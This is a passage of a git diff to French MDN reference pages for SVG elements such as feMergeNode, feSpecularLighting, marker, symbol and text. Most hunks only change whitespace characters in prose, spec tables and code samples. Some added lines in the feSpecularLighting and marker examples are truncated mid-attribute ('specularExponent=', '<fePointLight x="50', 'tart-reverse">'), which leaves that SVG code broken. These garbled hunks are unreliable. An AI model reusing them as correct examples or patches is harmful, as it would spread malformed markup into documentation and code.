(autrement dit, si l'image récupérée est une image SVG, elle sortira comme raster) +La primitive de filtre [SVG](/fr/docs/Web/SVG) **`<feImage>`** extrait les données d'une image d'une source externe et retourne les pixels récupérés en sortie (autrement dit, si l'image récupérée est une image SVG, elle sortira comme raster) ## Contexte d'utilisation diff --git a/files/fr/web/svg/element/femergenode/index.md b/files/fr/web/svg/element/femergenode/index.md index 92de098015..32b4816929 100644 --- a/files/fr/web/svg/element/femergenode/index.md +++ b/files/fr/web/svg/element/femergenode/index.md @@ -19,22 +19,22 @@ L'élément SVG `feMergeNode` se place à l'intérieur d'un élément {{ SVGElem ```html <svg width="200" height="200" - xmlns="http://www.w3.org/2000/svg" - xmlns:xlink="http://www.w3.org/1999/xlink"> - - <filter id="feOffset" x="-40" y="-20" width="100" height="200"> - <feOffset in="SourceGraphic" dx="60" dy="60" /> - <feGaussianBlur in="SourceGraphic" stdDeviation="5" result="blur2" /> - <feMerge> - <feMergeNode in="blur2" /> - <feMergeNode in="SourceGraphic" /> - </feMerge> - </filter> + xmlns="http://www.w3.org/2000/svg" + xmlns:xlink="http://www.w3.org/1999/xlink"> + + <filter id="feOffset" x="-40" y="-20" width="100" height="200"> + <feOffset in="SourceGraphic" dx="60" dy="60" /> + <feGaussianBlur in="SourceGraphic" stdDeviation="5" result="blur2" /> + <feMerge> + <feMergeNode in="blur2" /> + <feMergeNode in="SourceGraphic" /> + </feMerge> + </filter> <rect x="40" y="40" width="100" height="100" - style="stroke: #000000; fill: green; filter: url(#feOffset);" /> + style="stroke: #000000; fill: green; filter: url(#feOffset);" /> <rect x="40" y="40" width="100" height="100" - style="stroke: #000000; fill: green;" /> + style="stroke: #000000; fill: green;" /> </svg> ``` @@ -60,7 +60,7 @@ Cet élément implémente l'interface {{domxref("SVGFEMergeNodeElement")}}. | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName('Filters 1.0', '#elementdef-femergenode', '<feMergeNode>')}} | {{Spec2('Filters 1.0')}} | | +| {{SpecName('Filters 1.0', '#elementdef-femergenode', '<feMergeNode>')}} | {{Spec2('Filters 1.0')}} | | | {{SpecName('SVG1.1', 'filters.html#feMergeNodeElement', '<feMergeNode>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/fespecularlighting/index.md b/files/fr/web/svg/element/fespecularlighting/index.md index 017f6ca8c1..0705102ae5 100644 --- a/files/fr/web/svg/element/fespecularlighting/index.md +++ b/files/fr/web/svg/element/fespecularlighting/index.md @@ -45,15 +45,15 @@ Cet élément implémente l'interface {{domxref("SVGFESpecularLightingElement")} ```html <svg height="200" width="200" viewBox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> - <filter id = "filter"> - <feSpecularLighting result="specOut" - specularExponent="20" lighting-color="#bbbbbb"> - <fePointLight x="50" y="75" z="200"/> - </feSpecularLighting> - <feComposite in="SourceGraphic" in2="specOut" + <filter id = "filter"> + <feSpecularLighting result="specOut" + specularExponent= + <fePointLight x="50 + </feSpecularLighting> + <feComposite in="SourceGraphic" in2="specOut" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> - </filter> - <circle cx="110" cy="110" r="100" style="filter:url(#filter)"/> + </filter> + <circle cx="110" cy="110" r="100" style="filter:url(#filter)"/> </svg> ``` diff --git a/files/fr/web/svg/element/fetile/index.md b/files/fr/web/svg/element/fetile/index.md index 91e0f2b32b..5f366d23c7 100644 --- a/files/fr/web/svg/element/fetile/index.md +++ b/files/fr/web/svg/element/fetile/index.md @@ -9,7 +9,7 @@ translation_of: Web/SVG/Element/feTile --- {{SVGRef}} -La primitive de filtre [SVG](/fr/docs/Web/SVG) **`<feTile>`** permet de remplir un rectangle cible avec un motif en mosaïque qui répète une image en entrée. L'effet est similaire à ce que l'on obtient avec {{SVGElement("pattern")}}. +La primitive de filtre [SVG](/fr/docs/Web/SVG) **`<feTile>`** permet de remplir un rectangle cible avec un motif en mosaïque qui répète une image en entrée. L'effet est similaire à ce que l'on obtient avec {{SVGElement("pattern")}}. ## Contexte d'utilisation diff --git a/files/fr/web/svg/element/filter/index.md b/files/fr/web/svg/element/filter/index.md index 057f4f1e2f..8ca9abeb33 100644 --- a/files/fr/web/svg/element/filter/index.md +++ b/files/fr/web/svg/element/filter/index.md @@ -8,7 +8,7 @@ translation_of: Web/SVG/Element/filter --- {{SVGRef}} -L'élément [SVG](/fr/docs/Web/SVG) **`<filter>`** sert de conteneur pour définir des opérations de filtre. Il n'est jamais affiché par lui-même, il est référencé en utilisant l'attribut {{SVGAttr("filter")}} sur un élément SVG ou via la propriété {{Glossary("CSS")}} {{cssxref("filter")}}. +L'élément [SVG](/fr/docs/Web/SVG) **`<filter>`** sert de conteneur pour définir des opérations de filtre. Il n'est jamais affiché par lui-même, il est référencé en utilisant l'attribut {{SVGAttr("filter")}} sur un élément SVG ou via la propriété {{Glossary("CSS")}} {{cssxref("filter")}}. ## Contexte d'utilisation @@ -68,7 +68,7 @@ Cet élément implémente l'interface {{domxref("SVGFilterElement")}}. | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("Filters 1.0", "#FilterElement", "<filter>")}} | {{Spec2("Filters 1.0")}} | | +| {{SpecName("Filters 1.0", "#FilterElement", "<filter>")}} | {{Spec2("Filters 1.0")}} | | | {{SpecName("SVG1.1", "filters.html#FilterElement", "<filter>")}} | {{Spec2("SVG1.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/foreignobject/index.md b/files/fr/web/svg/element/foreignobject/index.md index f8fd0abdb3..9475ba5ad3 100644 --- a/files/fr/web/svg/element/foreignobject/index.md +++ b/files/fr/web/svg/element/foreignobject/index.md @@ -90,7 +90,7 @@ html,body,svg { height:100% } | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | -| {{SpecName('SVG2', 'embedded.html#ForeignObjectElement', '<foreignObject>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'embedded.html#ForeignObjectElement', '<foreignObject>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'extend.html#ForeignObjectElement', '<foreignObject>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/g/index.md b/files/fr/web/svg/element/g/index.md index 36c51f798f..3ef07cf2e5 100644 --- a/files/fr/web/svg/element/g/index.md +++ b/files/fr/web/svg/element/g/index.md @@ -10,9 +10,9 @@ translation_of: Web/SVG/Element/g --- {{SVGRef}} -L'élément `g` est un conteneur utilisé pour grouper des objets. +L'élément `g` est un conteneur utilisé pour grouper des objets. -Les transformations appliquées à l'élément `g` sont reportées à tous ses éléments enfants. Les attributs appliqués sont également reportés aux éléments enfants. De plus, il peut être utilisé pour définir des objets complexes qui seront référencés ultérieurement avec l'élément {{SVGElement("use")}}. +Les transformations appliquées à l'élément `g` sont reportées à tous ses éléments enfants. Les attributs appliqués sont également reportés aux éléments enfants. De plus, il peut être utilisé pour définir des objets complexes qui seront référencés ultérieurement avec l'élément {{SVGElement("use")}}. ## Exemple @@ -59,7 +59,7 @@ Cet élément n'a que des attributs globaux | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------- | ------------------------ | ------------------ | -| {{SpecName("SVG2", "struct.html#GElement", "<g>")}} | {{Spec2("SVG2")}} | | +| {{SpecName("SVG2", "struct.html#GElement", "<g>")}} | {{Spec2("SVG2")}} | | | {{SpecName("SVG1.1", "struct.html#Groups", "<g>")}} | {{Spec2("SVG1.1")}} | Initial definition | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/line/index.md b/files/fr/web/svg/element/line/index.md index 93360395cf..7119f086c9 100644 --- a/files/fr/web/svg/element/line/index.md +++ b/files/fr/web/svg/element/line/index.md @@ -39,13 +39,13 @@ html,body,svg { height:100% } ### Attributs globaux -- [Attributs conditionnels](/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel "en/SVG/Attribute#ConditionalProccessing") ; -- [Attributs centraux](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") ; -- [Attributs d'événements graphiques](/fr/docs/Web/SVG/Attribute#Attributs_d'.C3.A9v.C3.A9nement_graphique "en/SVG/Attribute#GraphicalEvent") ; +- [Attributs conditionnels](/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel "en/SVG/Attribute#ConditionalProccessing") ; +- [Attributs centraux](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") ; +- [Attributs d'événements graphiques](/fr/docs/Web/SVG/Attribute#Attributs_d'.C3.A9v.C3.A9nement_graphique "en/SVG/Attribute#GraphicalEvent") ; - [Attributs de présentation](/fr/docs/Web/SVG/Attribute#Attributs_de_pr.C3.A9sentation "en/SVG/Attribute#Presentation") ; -- {{ SVGAttr("class") }} ; -- {{ SVGAttr("style") }} ; -- {{ SVGAttr("externalResourcesRequired") }} ; +- {{ SVGAttr("class") }} ; +- {{ SVGAttr("style") }} ; +- {{ SVGAttr("externalResourcesRequired") }} ; - {{ SVGAttr("transform") }}. ### Attributs spécifiques @@ -65,5 +65,5 @@ Cet élément implémente l'interface [`SVGLineElement`](/fr/DOM/SVGLineElement ## Voir aussi -- {{ SVGElement("polygon") }} ; +- {{ SVGElement("polygon") }} ; - {{ SVGElement("path") }}. diff --git a/files/fr/web/svg/element/lineargradient/index.md b/files/fr/web/svg/element/lineargradient/index.md index 1d3fe8a442..14c117b7ec 100644 --- a/files/fr/web/svg/element/lineargradient/index.md +++ b/files/fr/web/svg/element/lineargradient/index.md @@ -64,7 +64,7 @@ Cet élément implémente l'interface {{domxref("SVGLinearGradientElement")}}. | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | -| {{SpecName('SVG2', 'pservers.html#LinearGradientElement', '<linearGradient>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'pservers.html#LinearGradientElement', '<linearGradient>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'pservers.html#LinearGradients', '<linearGradient>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/marker/index.md b/files/fr/web/svg/element/marker/index.md index edd0f179ac..41bc74cdbd 100644 --- a/files/fr/web/svg/element/marker/index.md +++ b/files/fr/web/svg/element/marker/index.md @@ -20,28 +20,28 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> - <defs> + <defs> <!-- Définit une pointe de flèche --> - <marker id="arrow" viewBox="0 0 10 10" refX="5" refY="5" - markerWidth="6" markerHeight="6" - orient="auto-start-reverse"> - <path d="M 0 0 L 10 5 L 0 10 z" /> - </marker> + <marker id="arrow" viewBox="0 0 10 10" refX="5" refY="5" + markerWidth="6" markerHeight="6" + tart-reverse"> + <path d="M 0 0 L 10 5 L 0 10 z" /> + </marker> <!-- Définit un simple point --> - <marker id="dot" viewBox="0 0 10 10" refX="5" refY="5" - markerWidth="5" markerHeight="5"> - <circle cx="5" cy="5" r="5" fill="red" /> - </marker> - </defs> + <marker id="dot" viewBox="0 0 10 10" refX="5" refY="5" + markerWidth="5" markerHeight="5"> + <circle cx="5" cy="5" r="5" fill="red" /> + </marker> + </defs> <!-- Dessine les axes des coordonnées avec des pointes de flèche à chaque bout --> - <polyline points="10,10 10,90 90,90" fill="none" stroke="black" - marker-start="url(#arrow)" marker-end="url(#arrow)" /> + <polyline points="10,10 10,90 90,90" fill="none" stroke="black" + marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- Dessine une ligne avec un simple point entre chaque segment --> - <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" - marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> + <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" + marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> ``` @@ -54,7 +54,7 @@ html,body,svg { height:100% } _Valeur_: **[\<length>](/docs/Web/SVG/Content_type#Length)** ; _Valeur par défaut_: `3`; _Animation_: **oui** - {{SVGAttr("markerUnits")}} - : Définit le système de coordnnées pour les attributs `markerWidth`, `markerHeight` et le contenu du `<marker>`. - _Valeur_: `userSpaceOnUse`|`strokeWidth` ; _Valeur par défaut_: `strokeWidth`; _Animation_: **oui** + _Valeur_: `userSpaceOnUse`|`strokeWidth` ; _Valeur par défaut_: `strokeWidth`; _Animation_: **oui** - {{SVGAttr("markerWidth")}} - : Définit la largeur du viewport du marqueur. _Valeur_: **[\<length>](/docs/Web/SVG/Content_type#Length)** ; _Valeur par défaut_: `3`; _Animation_: **oui** @@ -95,8 +95,8 @@ html,body,svg { height:100% } | Sp"cification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName("SVG Markers", "#MarkerElement", "<marker>")}} | {{Spec2("SVG Markers")}} | | -| {{SpecName("SVG2", "painting.html#MarkerElement", "<marker>")}} | {{Spec2("SVG2")}} | | +| {{SpecName("SVG Markers", "#MarkerElement", "<marker>")}} | {{Spec2("SVG Markers")}} | | +| {{SpecName("SVG2", "painting.html#MarkerElement", "<marker>")}} | {{Spec2("SVG2")}} | | | {{SpecName("SVG1.1", "painting.html#MarkerElement", "<marker>")}} | {{Spec2("SVG1.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/mask/index.md b/files/fr/web/svg/element/mask/index.md index a7f89505b7..2ed9488e23 100644 --- a/files/fr/web/svg/element/mask/index.md +++ b/files/fr/web/svg/element/mask/index.md @@ -11,7 +11,7 @@ translation_of: Web/SVG/Element/mask --- {{SVGRef}} -L'élément **`<mask>`** définit un masque alpha. Ce masque peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("mask")}}. +L'élément **`<mask>`** définit un masque alpha. Ce masque peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("mask")}}. Le masque permet de rendre des zones de l'élément sur lequel est appliqué (semi-)transparentes. On peut par exemple créer un effet de fondu en utilisant un dégradé, ce que le détourage ({{SVGElement('clipPath')}}) ne permet pas. @@ -80,7 +80,7 @@ html,body,svg { height:100% } | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------------- | -| {{SpecName('CSS Masks', '#MaskElement', '<mask>')}} | {{Spec2('CSS Masks')}} | | +| {{SpecName('CSS Masks', '#MaskElement', '<mask>')}} | {{Spec2('CSS Masks')}} | | | {{SpecName('SVG1.1', 'masking.html#Masking', '<mask>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/metadata/index.md b/files/fr/web/svg/element/metadata/index.md index 329fcc2a5c..f39b3c23e0 100644 --- a/files/fr/web/svg/element/metadata/index.md +++ b/files/fr/web/svg/element/metadata/index.md @@ -9,7 +9,7 @@ translation_of: Web/SVG/Element/metadata --- {{SVGRef}} -L'élément [SVG](/fr/docs/Web/SVG) **`<metadata>`** permet d'ajouter des metadonnées au contenu SVG. Des metadonnées sont des données structurées qui donnent des informations sur le contenu du document. La balise `<metadata>` doit contenir des éléments d'un autre {{Glossary("namespace", "namespaces")}} {{Glossary("XML")}} tel que {{Glossary("RDF")}}, [FOAF](https://fr.wikipedia.org/wiki/FOAF), etc. +L'élément [SVG](/fr/docs/Web/SVG) **`<metadata>`** permet d'ajouter des metadonnées au contenu SVG. Des metadonnées sont des données structurées qui donnent des informations sur le contenu du document. La balise `<metadata>` doit contenir des éléments d'un autre {{Glossary("namespace", "namespaces")}} {{Glossary("XML")}} tel que {{Glossary("RDF")}}, [FOAF](https://fr.wikipedia.org/wiki/FOAF), etc. ## Contexte d'utilisation diff --git a/files/fr/web/svg/element/polyline/index.md b/files/fr/web/svg/element/polyline/index.md index a8052c0607..626417837b 100644 --- a/files/fr/web/svg/element/polyline/index.md +++ b/files/fr/web/svg/element/polyline/index.md @@ -98,7 +98,7 @@ Cet élément implémente l'interface {{domxref("SVGPolylineElement")}}. | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ------------------------ | -------------------- | -| {{SpecName('SVG2', 'shapes.html#PolylineElement', '<polyline>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'shapes.html#PolylineElement', '<polyline>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'shapes.html#PolylineElement', '<polyline>')}} | {{Spec2('SVG1.1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/radialgradient/index.md b/files/fr/web/svg/element/radialgradient/index.md index baae55eed4..e1ba1e6965 100644 --- a/files/fr/web/svg/element/radialgradient/index.md +++ b/files/fr/web/svg/element/radialgradient/index.md @@ -39,7 +39,7 @@ L'élément [SVG](/fr/docs/Web/SVG) **`<radialGradient>`** permet de définir un - {{SVGAttr("spreadMethod")}} - {{SVGAttr("xlink:href")}} -## DOM Interface +## DOM Interface Cet élément implémente l'interface {{domxref("SVGRadialGradientElement")}}. diff --git a/files/fr/web/svg/element/rect/index.md b/files/fr/web/svg/element/rect/index.md index 99f8d22bcd..2372a4932d 100644 --- a/files/fr/web/svg/element/rect/index.md +++ b/files/fr/web/svg/element/rect/index.md @@ -9,7 +9,7 @@ translation_of: Web/SVG/Element/rect --- {{SVGRef}}{{Draft("Cette version n'est pas à jour relativement à la version anglaise de référence, merci d'en tenir compte.")}} -L'élément `rect` est un élément de Formes basiques, utilisé pour dessiner des rectangles à partir de la position d'un angle, de largeur et de la hauteur. Il peut aussi être utilisé avec des arrondis. +L'élément `rect` est un élément de Formes basiques, utilisé pour dessiner des rectangles à partir de la position d'un angle, de largeur et de la hauteur. Il peut aussi être utilisé avec des arrondis. ## Usage diff --git a/files/fr/web/svg/element/stop/index.md b/files/fr/web/svg/element/stop/index.md index 1cfbc01ce9..dad0fe1946 100644 --- a/files/fr/web/svg/element/stop/index.md +++ b/files/fr/web/svg/element/stop/index.md @@ -5,7 +5,7 @@ translation_of: Web/SVG/Element/stop --- {{SVGRef}} -L'élément [SVG](/fr/docs/Web/SVG) **`<stop>`** définit une couleur supplémentaire dans une palette à utiliser pour un dégradé, et est contenu dans un élément {{SVGElement("linearGradient")}} ou {{SVGElement("radialGradient")}}. +L'élément [SVG](/fr/docs/Web/SVG) **`<stop>`** définit une couleur supplémentaire dans une palette à utiliser pour un dégradé, et est contenu dans un élément {{SVGElement("linearGradient")}} ou {{SVGElement("radialGradient")}}. ## Contexte d'utilisation @@ -26,7 +26,7 @@ L'élément [SVG](/fr/docs/Web/SVG) **`<stop>`** définit une couleur suppléme - {{SVGAttr("stop-color")}} - {{SVGAttr("stop-opacity")}} -## DOM Interface +## DOM Interface Cet élément implémenté l'interface {{domxref("SVGStopElement")}}. @@ -63,7 +63,7 @@ Cet élément implémenté l'interface {{domxref("SVGStopElement")}}. | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | -| {{SpecName('SVG2', 'pservers.html#GradientStops', '<stop>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'pservers.html#GradientStops', '<stop>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'pservers.html#GradientStops', '<stop>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/style/index.md b/files/fr/web/svg/element/style/index.md index a106119925..f1ff62683c 100644 --- a/files/fr/web/svg/element/style/index.md +++ b/files/fr/web/svg/element/style/index.md @@ -42,7 +42,7 @@ Résultat en direct: ### Attributs Globaux -- [Core attributes](/fr/SVG/Attribute#Core) » +- [Core attributes](/fr/SVG/Attribute#Core) » ### Attributs Specifiques @@ -58,7 +58,7 @@ Cet élément implemente l'interface [`SVGStyleElement`](/fr/DOM/SVGStyleElement | Specification | Status | Commentaire | | -------------------------------------------------------------------------------------------- | ------------------------ | ------------------ | -| {{SpecName('SVG2', 'styling.html#StyleElement', '<style>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'styling.html#StyleElement', '<style>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'styling.html#StyleElement', '<style>')}} | {{Spec2('SVG1.1')}} | Initial definition | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/svg/index.md b/files/fr/web/svg/element/svg/index.md index b4c88d63f3..f24f6d9b7b 100644 --- a/files/fr/web/svg/element/svg/index.md +++ b/files/fr/web/svg/element/svg/index.md @@ -5,7 +5,7 @@ translation_of: Web/SVG/Element/svg --- {{SVGRef}} -L'élément `svg` peut être utilisé pour intégrer des fragments de code SVG à l'intérieur d'un document (par exemple, un document HTML). Ce fragment de code SVG dispose de ses propres [viewport](/fr/docs/) et système de coordonnée. +L'élément `svg` peut être utilisé pour intégrer des fragments de code SVG à l'intérieur d'un document (par exemple, un document HTML). Ce fragment de code SVG dispose de ses propres [viewport](/fr/docs/) et système de coordonnée. ## Contexte d'utilisation @@ -75,13 +75,13 @@ Ce fichier peut être inclus dans un document HTML5 de cette façon : ## Interface DOM -Cette élément implémente l'interface [`SVGSVGElement`](/fr/docs/Web/API/SVGSVGElement). +Cette élément implémente l'interface [`SVGSVGElement`](/fr/docs/Web/API/SVGSVGElement). ## Spécifications | Spécification | Status | Commentaires | | ------------------------------------------------------------------------------------ | ------------------------ | ------------------- | -| {{SpecName('SVG2', 'struct.html#NewDocument', '<svg>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'struct.html#NewDocument', '<svg>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'struct.html#NewDocument', '<svg>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/switch/index.md b/files/fr/web/svg/element/switch/index.md index dc44f26695..6881d631ab 100644 --- a/files/fr/web/svg/element/switch/index.md +++ b/files/fr/web/svg/element/switch/index.md @@ -9,9 +9,9 @@ translation_of: Web/SVG/Element/switch --- {{SVGRef}} -L'élément `switch` évalue les attributs {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("requiredExtensions") }} et {{ SVGAttr("systemLanguage") }} de ses éléments enfants directs, dans l'ordre, puis affiche le premier élément pour lequel les attributs renvoient `true`. Tous les autres seront ignorés et donc non affichés. Si l'élément enfant est un élément conteneur tel que {{ SVGElement("g") }}, alors l'intégralité du contenu de cet enfant est soit traité/rendu soit ignoré/non rendu. +L'élément `switch` évalue les attributs {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("requiredExtensions") }} et {{ SVGAttr("systemLanguage") }} de ses éléments enfants directs, dans l'ordre, puis affiche le premier élément pour lequel les attributs renvoient `true`. Tous les autres seront ignorés et donc non affichés. Si l'élément enfant est un élément conteneur tel que {{ SVGElement("g") }}, alors l'intégralité du contenu de cet enfant est soit traité/rendu soit ignoré/non rendu. -Notez que la valeur des propriétés `display` et `visibility` n'ont aucun effet sur le traitement du `switch`. En particulier, appliquer une propriété `display` à `none` sur l'élément enfant d'un `switch` n'a aucun effet sur le résultat du test `true/false` associé au traitement des éléments par le `switch`. +Notez que la valeur des propriétés `display` et `visibility` n'ont aucun effet sur le traitement du `switch`. En particulier, appliquer une propriété `display` à `none` sur l'élément enfant d'un `switch` n'a aucun effet sur le résultat du test `true/false` associé au traitement des éléments par le `switch`. ## Contexte d'utilisation diff --git a/files/fr/web/svg/element/symbol/index.md b/files/fr/web/svg/element/symbol/index.md index 58a230af5f..f777e55bf6 100644 --- a/files/fr/web/svg/element/symbol/index.md +++ b/files/fr/web/svg/element/symbol/index.md @@ -21,20 +21,20 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 80 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <!-- Notre symbol a son propre système de coordonnées --> - <symbol id="myDot" width="10" height="10" viewBox="0 0 2 2"> - <circle cx="1" cy="1" r="1" /> - </symbol> - - <!-- Une grille pour matérialiser le positionnement du symbole --> - <path d="M0,10 h80 M10,0 v20 M25,0 v20 M40,0 v20 M55,0 v20 M70,0 v20" fill="none" stroke="pink" /> - - <!-- Multiples instances de notre symbole --> - <use xlink:href="#myDot" x="5" y="5" style="opacity:1.0" /> - <use xlink:href="#myDot" x="20" y="5" style="opacity:0.8" /> - <use xlink:href="#myDot" x="35" y="5" style="opacity:0.6" /> - <use xlink:href="#myDot" x="50" y="5" style="opacity:0.4" /> - <use xlink:href="#myDot" x="65" y="5" style="opacity:0.2" /> + <!-- Notre symbol a son propre système de coordonnées --> + <symbol id="myDot" width="10" height="10" viewBox="0 0 2 2"> + <circle cx="1" cy="1" r="1" /> + </symbol> + + <!-- Une grille pour matérialiser le positionnement du symbole --> + <path d="M0,10 h80 M10,0 v20 M25,0 v20 M40,0 v20 M55,0 v20 M70,0 v20" fill="none" stroke="pink" /> + + <!-- Multiples instances de notre symbole --> + <use xlink:href="#myDot" x="5" y="5" style="opacity:1.0" /> + <use xlink:href="#myDot" x="20" y="5" style="opacity:0.8" /> + <use xlink:href="#myDot" x="35" y="5" style="opacity:0.6" /> + <use xlink:href="#myDot" x="50" y="5" style="opacity:0.4" /> + <use xlink:href="#myDot" x="65" y="5" style="opacity:0.2" /> </svg> ``` diff --git a/files/fr/web/svg/element/text/index.md b/files/fr/web/svg/element/text/index.md index dafd76e9fe..e2a2054e1f 100644 --- a/files/fr/web/svg/element/text/index.md +++ b/files/fr/web/svg/element/text/index.md @@ -10,7 +10,7 @@ translation_of: Web/SVG/Element/text --- {{SVGRef}}{{Draft("Cette version n'est pas à jour relativement à la version anglaise de référence, merci d'en tenir compte.")}} -L'élément SVG `text` définit un élément graphique contenant du texte. Notez qu'il est possible d'y appliquer un dégradé, un motif, un tracé spécifique (clipping path), un masque ou un filtre. +L'élément SVG `text` définit un élément graphique contenant du texte. Notez qu'il est possible d'y appliquer un dégradé, un motif, un tracé spécifique (clipping path), un masque ou un filtre. Si du texte est écrit dans le SVG sans être intégré dans un balise \<text>, il ne sera pas affiché. Le texte n'est pas _caché_ par défaut, la propriété display ne le montre simplement pas. @@ -45,11 +45,11 @@ L'élément \<text> est utilisé pour dessiner des caractères de texte. L'exemp </svg> ``` -Le texte en SVG peut être pivoté. L'exemple de code suivant démontre la rotation de texte à l'aide de l'attribut transform. +Le texte en SVG peut être pivoté. L'exemple de code suivant démontre la rotation de texte à l'aide de l'attribut transform. ```xml <svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"> - <text x="10" y="20" + <text x="10" y="20" transform="rotate(30 20,40)"> SVG Text Rotation example </text> @@ -60,11 +60,11 @@ Le texte SVG peut également être stylisé avec du CSS contenant les propriét ```xml <svg xmlns="http://www.w3.org/2000/svg" width="100px" height="50px"> - <text x="10" y="20" - style="font-family: Times New Roman; - font-size : 24; - stroke : #00ff00; - fill : #0000ff;"> + <text x="10" y="20" + style="font-family: Times New Roman; + font-size : 24; + stroke : #00ff00; + fill : #0000ff;"> SVG text styling </text> </svg> @@ -74,10 +74,10 @@ Le texte SVG peut également être stylisé avec du CSS contenant les propriét ### Attributs globaux -- [Conditional processing attributes](/fr/SVG/Attribute#ConditionalProccessing "en/SVG/Attribute#ConditionalProccessing") » -- [Core attributes](/fr/SVG/Attribute#Core "en/SVG/Attribute#Core") » -- [Graphical event attributes](/fr/SVG/Attribute#GraphicalEvent "en/SVG/Attribute#GraphicalEvent") » -- [Presentation attributes](/fr/SVG/Attribute#Presentation "en/SVG/Attribute#Presentation") » +- [Conditional processing attributes](/fr/SVG/Attribute#ConditionalProccessing "en/SVG/Attribute#ConditionalProccessing") » +- [Core attributes](/fr/SVG/Attribute#Core "en/SVG/Attribute#Core") » +- [Graphical event attributes](/fr/SVG/Attribute#GraphicalEvent "en/SVG/Attribute#GraphicalEvent") » +- [Presentation attributes](/fr/SVG/Attribute#Presentation "en/SVG/Attribute#Presentation") » - {{ SVGAttr("class") }} - {{ SVGAttr("style") }} - {{ SVGAttr("externalResourcesRequired") }} @@ -96,7 +96,7 @@ Le texte SVG peut également être stylisé avec du CSS contenant les propriét ## Interface DOM -Cet élément implémente l'interface [`SVGTextElement`](/fr/DOM/SVGTextElement "en/DOM/SVGTextElement"). +Cet élément implémente l'interface [`SVGTextElement`](/fr/DOM/SVGTextElement "en/DOM/SVGTextElement"). ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/title/index.md b/files/fr/web/svg/element/title/index.md index 8c1cafbe4c..0c98749647 100644 --- a/files/fr/web/svg/element/title/index.md +++ b/files/fr/web/svg/element/title/index.md @@ -24,7 +24,7 @@ L'élément `<title>` est souvent le premier enfant de son parent. Notons que le ### Attributs globaux -- [Attributs de base](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") » +- [Attributs de base](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") » - {{ SVGAttr("class") }} - {{ SVGAttr("style") }} @@ -32,9 +32,9 @@ L'élément `<title>` est souvent le premier enfant de son parent. Notons que le _(Aucun)_ -## Interface DOM +## Interface DOM -Cet élément implémente l'interface [`SVGTitleElement`](/fr/docs/Web/API/SVGTitleElement "en/DOM/SVGTitleElement"). +Cet élément implémente l'interface [`SVGTitleElement`](/fr/docs/Web/API/SVGTitleElement "en/DOM/SVGTitleElement"). ## Exemple @@ -52,7 +52,7 @@ Cet élément implémente l'interface [`SVGTitleElement`](/fr/docs/Web/API/SVGT | Spécification | Statut | Commentaire | | 